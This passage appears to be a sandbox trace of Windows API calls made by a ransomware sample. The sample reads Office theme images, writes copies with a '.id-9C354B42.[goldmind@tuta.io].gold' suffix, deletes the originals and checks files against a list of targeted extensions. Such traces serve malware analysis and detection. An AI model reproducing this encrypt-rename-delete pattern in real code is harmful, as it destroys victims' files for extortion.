files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0041.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.869] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.869] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.870] GetLastError () returned 0x0 [0041.870] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0041.871] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0041.872] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.872] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.872] SetEndOfFile (hFile=0x19c) returned 1 [0041.872] CloseHandle (hObject=0x19c) returned 1 [0041.872] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.872] SetEndOfFile (hFile=0x204) returned 1 [0041.873] CloseHandle (hObject=0x204) returned 1 [0041.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0041.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.873] lstrlenW (lpString=".doc") returned 4 [0041.873] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.873] lstrlenW (lpString=".docx") returned 5 [0041.873] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.873] lstrlenW (lpString=".pdf") returned 4 [0041.873] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.873] lstrlenW (lpString=".xls") returned 4 [0041.873] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.873] lstrlenW (lpString=".xlsx") returned 5 [0041.874] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.874] lstrlenW (lpString=".ppt") returned 4 [0041.874] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".zip") returned 4 [0041.874] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString=".rar") returned 4 [0041.874] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString=".bz2") returned 4 [0041.874] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString=".7z") returned 3 [0041.874] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".dbf") returned 4 [0041.874] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".1cd") returned 4 [0041.874] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".jpg") returned 4 [0041.874] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".doc") returned 4 [0041.874] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString=".docx") returned 5 [0041.874] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.874] lstrlenW (lpString=".pdf") returned 4 [0041.874] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString=".xls") returned 4 [0041.874] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString=".xlsx") returned 5 [0041.874] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.874] lstrlenW (lpString=".ppt") returned 4 [0041.874] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".zip") returned 4 [0041.874] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString=".rar") returned 4 [0041.874] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.874] lstrlenW (lpString=".bz2") returned 4 [0041.874] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString=".7z") returned 3 [0041.874] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".dbf") returned 4 [0041.874] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".1cd") returned 4 [0041.874] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0041.874] lstrlenW (lpString=".jpg") returned 4 [0041.874] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.875] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.875] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.875] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1232) returned 1 [0041.875] CloseHandle (hObject=0x204) returned 1 [0041.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0041.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.875] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.875] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.877] GetLastError () returned 0x0 [0041.877] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0041.878] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0041.878] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.878] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.879] SetEndOfFile (hFile=0x19c) returned 1 [0041.879] CloseHandle (hObject=0x19c) returned 1 [0041.879] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.879] SetEndOfFile (hFile=0x204) returned 1 [0041.879] CloseHandle (hObject=0x204) returned 1 [0041.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".doc") returned 4 [0041.880] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.880] lstrlenW (lpString=".docx") returned 5 [0041.880] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.880] lstrlenW (lpString=".pdf") returned 4 [0041.880] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString=".xls") returned 4 [0041.880] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString=".xlsx") returned 5 [0041.880] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.880] lstrlenW (lpString=".ppt") returned 4 [0041.880] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".zip") returned 4 [0041.880] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString=".rar") returned 4 [0041.880] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString=".bz2") returned 4 [0041.880] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.880] lstrlenW (lpString=".7z") returned 3 [0041.880] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".dbf") returned 4 [0041.880] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".1cd") returned 4 [0041.880] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".jpg") returned 4 [0041.880] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.880] lstrlenW (lpString=".doc") returned 4 [0041.880] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.880] lstrlenW (lpString=".docx") returned 5 [0041.880] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.880] lstrlenW (lpString=".pdf") returned 4 [0041.880] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.880] lstrlenW (lpString=".xls") returned 4 [0041.880] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.881] lstrlenW (lpString=".xlsx") returned 5 [0041.881] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.881] lstrlenW (lpString=".ppt") returned 4 [0041.881] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.881] lstrlenW (lpString=".zip") returned 4 [0041.881] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.881] lstrlenW (lpString=".rar") returned 4 [0041.881] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.881] lstrlenW (lpString=".bz2") returned 4 [0041.881] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.881] lstrlenW (lpString=".7z") returned 3 [0041.881] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.881] lstrlenW (lpString=".dbf") returned 4 [0041.881] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.881] lstrlenW (lpString=".1cd") returned 4 [0041.881] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0041.881] lstrlenW (lpString=".jpg") returned 4 [0041.881] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.881] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.881] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.881] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=18413) returned 1 [0041.881] CloseHandle (hObject=0x204) returned 1 [0041.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0041.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.882] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.882] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.882] GetLastError () returned 0x0 [0041.882] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0042.110] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0042.111] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.111] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.111] SetEndOfFile (hFile=0x19c) returned 1 [0042.112] CloseHandle (hObject=0x19c) returned 1 [0042.112] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.112] SetEndOfFile (hFile=0x204) returned 1 [0042.112] CloseHandle (hObject=0x204) returned 1 [0042.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString=".doc") returned 4 [0042.113] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.113] lstrlenW (lpString=".docx") returned 5 [0042.113] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.113] lstrlenW (lpString=".pdf") returned 4 [0042.113] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.113] lstrlenW (lpString=".xls") returned 4 [0042.113] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.113] lstrlenW (lpString=".xlsx") returned 5 [0042.113] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.113] lstrlenW (lpString=".ppt") returned 4 [0042.113] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString=".zip") returned 4 [0042.113] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.113] lstrlenW (lpString=".rar") returned 4 [0042.113] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.113] lstrlenW (lpString=".bz2") returned 4 [0042.113] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.113] lstrlenW (lpString=".7z") returned 3 [0042.113] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString=".dbf") returned 4 [0042.113] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString=".1cd") returned 4 [0042.113] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.113] lstrlenW (lpString=".jpg") returned 4 [0042.114] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString=".doc") returned 4 [0042.114] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString=".docx") returned 5 [0042.114] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.114] lstrlenW (lpString=".pdf") returned 4 [0042.114] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString=".xls") returned 4 [0042.114] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.114] lstrlenW (lpString=".xlsx") returned 5 [0042.114] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.114] lstrlenW (lpString=".ppt") returned 4 [0042.114] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString=".zip") returned 4 [0042.114] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.114] lstrlenW (lpString=".rar") returned 4 [0042.114] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.114] lstrlenW (lpString=".bz2") returned 4 [0042.114] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString=".7z") returned 3 [0042.114] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString=".dbf") returned 4 [0042.114] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString=".1cd") returned 4 [0042.114] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0042.114] lstrlenW (lpString=".jpg") returned 4 [0042.114] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.114] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.114] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.562] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=37112) returned 1 [0042.562] CloseHandle (hObject=0x19c) returned 1 [0042.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0042.562] 